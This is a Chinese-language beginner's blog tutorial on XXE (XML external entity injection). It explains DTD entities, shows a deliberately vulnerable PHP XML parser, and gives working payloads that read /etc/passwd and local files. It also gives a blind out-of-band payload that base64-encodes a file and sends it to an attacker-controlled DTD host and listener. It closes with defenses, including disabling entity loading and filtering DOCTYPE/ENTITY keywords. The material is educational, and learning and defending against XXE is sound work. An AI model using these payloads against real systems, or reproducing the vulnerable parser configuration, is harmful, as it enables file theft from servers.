• 从零开始的xxe学习


     本文介绍了一个菜鸡对xxe的一步步学习(内容多来源于大佬的博客,先感谢一波)

    涉及知识点:

    (1)xxe

    目录:

    解析:

    1.xxe是什么(不详解了,网上很多的)

    XXE(XML External Entity Injection) 全称为 XML 外部实体注入。(重点在外部实体

    2.xml基础知识

    示例代码:test.dtd

    <?xml version="1.0"?> // xml 文档定义
    <!DOCTYPE message [
    <!ELEMENT message (receiver, sender, header, msg)>
    <!ELEMENT receiver (#PCDATA)>
    <!ELEMENT sender (#PCDATA)>
    <!ELEMENT header (#PCDATA)>
    <!ELEMENT msg (#PCDATA)>]>

    上面的 DTD 定义了 XML 的根元素是 message ,根元素下面的都是子元素。那么配合 test.dtd 的示例 xml 代码是:

    <message>
    <receiver>QAQ</receiver>
    <sender>QWQ</sender>
    </message>

    其实除了在 DTD 中定义标签之外还可以定义实体(对应 xml 标签的内容)。实体分为内部实体和外部实体。下面的一个实例是内部实体。

    示例代码:test.dtd

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe "test">]>

    定义 foo 元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体xxe(实体可以看成一个变量,在 xml 中我们可以通过 & 符号来引用,即用 &xxe 来引用)。

    上面的实体 xxe 类似于 py 中的 xxe="test" 。 (只是类似,千万别以为是一样的)

    应用实例:

    <root>
    <pass>&xxe;</pass>
    </root>

    输出的结果当然就是 test 啦!

     接下来是外部实体啦(实体可以从外部的 dtd 文件中引用)。

    示例代码:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "file:///c:test.dtd">]>
    <root>
    <pass>&xxe;</pass>
    </root>

    这样引用资源的任何更改都会自动更新,从而有了之后的漏洞。

    哦,还有一种引用方法是使用 引用 公用DTD 的方法。(。。别骂了,真不熟QAQ)

    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URL”>

    这个在我们的攻击中可以起到和 SYSTEM 一样的作用??(我人傻了,没有实战经验好吧。留坑。等下,这是什么?)

     一只咸鱼放弃了思考 n(*≧▽≦*)n 。

    但是参数实体在我们的 Blind XXE 中起到了至关重要的作用。(?必须要学?)

    哈哈哈,我不做人了((٩(//̀Д/́/)۶))!

    (1)通用实体

    用 &实体名; 引用的实体。在 DTD 文档中定义,在 XML 文档中引用。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
    <!ENTITY file SYSTEM "file:///etc/passwd">]>
    <root>&file;</root>

    (2)参数实体

    • 使用 % 实体名 (注意这里的空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用。
    • 只有在 DTD 文件中,参数实体的声明才能引用其他实体。
    • 和通用实体一样,参数实体也可以外部引用

    示例代码:

    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
    %an-element; %remote-dtd;

    3.Normal XXE (有回显的读取本地敏感文件)

    受攻击的服务器的代码示例:xml.php(这里用本地作为服务器)

    <?php
    
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
        $creds = simplexml_import_dom($dom);
        echo $creds;
    
    ?>

    攻击方代码示例:

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <root>&xxe;</root>

    攻击结果:

     但是成功读取是因为这个文件没有特殊符号。但是如果有特殊符号的话,就完全读取不到了。那么这时候就要祭出我们的 CDATA :

     那么把我们读出来的数据放在 CDATA 中就可以绕过。那么怎么添加呢?只要像这样:

    ......
    <!ENTITY start "<![CDATA[">
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    <!ENTITY end "]]>">]>
    <root>&start;&xxe;&end;</root>

    那么这么做可以吗(ฅ´ω`ฅ)?肯定不行啊,我们可没有说 xml 还支持字符串拼接这种东西。结果可以自己试试,反正是不行的哦。

    但是这并不代表我们没办法了。可以利用目前比较常见的方法。

    evil.dtd:

    <?xml version="1.0" encoding="utf-8"?>
    <!ENTITY all "%start;%xxe;%end;">

    payload:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE foo [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % xxe SYSTEM "file:///C:/Users/Acer/Desktop/flag.txt">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://ip/evil.dtd">    
    %dtd;]>
    
    <root>&all;</root>
    
    //上面的ip要换成你的ip哦

    结果:

     上面的例子是利用了外部实体进行拼接?(应该)。在内部实体中进行调用结果而已。

    有一个点:大佬说在 java 的 xxe 中 netdoc 协议是可以代替 file 协议的。

    然后引出下一个问题,xxe并不是都有回显的,那么无回显的 xxe 怎么办呢?

    4.Blind OOB XXE(无回显读取本地敏感文件)

    盲 xxe 的xml.php

    <?php
    
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    ?>

    test.dtd文件:

    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:3333/?%file;'>">
    %start;

    payload:

    <?xml version="1.0"?>
    <!DOCTYPE message [
        <!ENTITY % remote SYSTEM "http://127.0.0.1/test.dtd">  
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///G:/1.txt">
        %remote;
        %send;
    ]>
    <message>aaa</message>

    攻击截图:

     接下来讲几个注意点:

    1. test.dtd 文件中的 &#x25 是不可以被 % 代替的,可以自己本地测试一下。在实体中不可以出现 % 的。
    2. 这个盲xxe可以用php://filter协议是因为有 file_get_contents 函数(应该没有人不熟悉 php://filter 吧。)
    3. 还是那一句,127.0.0.1 可以换成你的文件的 ip 

     然后讲一下调用过程:

    %remote;%start;%send;就是我们的调用过程。肯定是先包含 test.dtd 啊。然后是 %start; 开始调用 %file; 来获取我们想要的文件的内容。最后 %send 将结果发送到我们的vps上。

    从而实现了文件内容的回显。

    如何防御 xxe 攻击

    方法一:  使用不同语言提供的不同的禁用外部实体方法(我觉得在 awd 中最好用这种方法吧)

    PHP:
    libxml_disable_entity_loader(true);
    
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    方法二:  过滤用户提交的 xml 数据

    过滤关键词 : <!DOCTYPE , <!ENTITY , SYSTEM , PUBLIC 

    参考

    K0rz3n大佬的教程

    JrXnm233大佬的教程

  • 相关阅读:
    小程序踩坑(三)-上拉加载和下拉刷新篇
    小程序踩坑(二)
    小程序入门(一)
    移动端那些事(一)
    css3写单选框,复选框
    websockect入门(一)
    一个简单的blog系统(十六) 增加日志功能
    一个简单的blog系统(十四) 增加用户头像
    一个简单的blog系统(十三) 增加404页面
    一个简单的blog系统(十二) 增加友情链接页面
  • 原文地址:https://www.cnblogs.com/cioi/p/12313621.html
Copyright © 2020-2023  润新知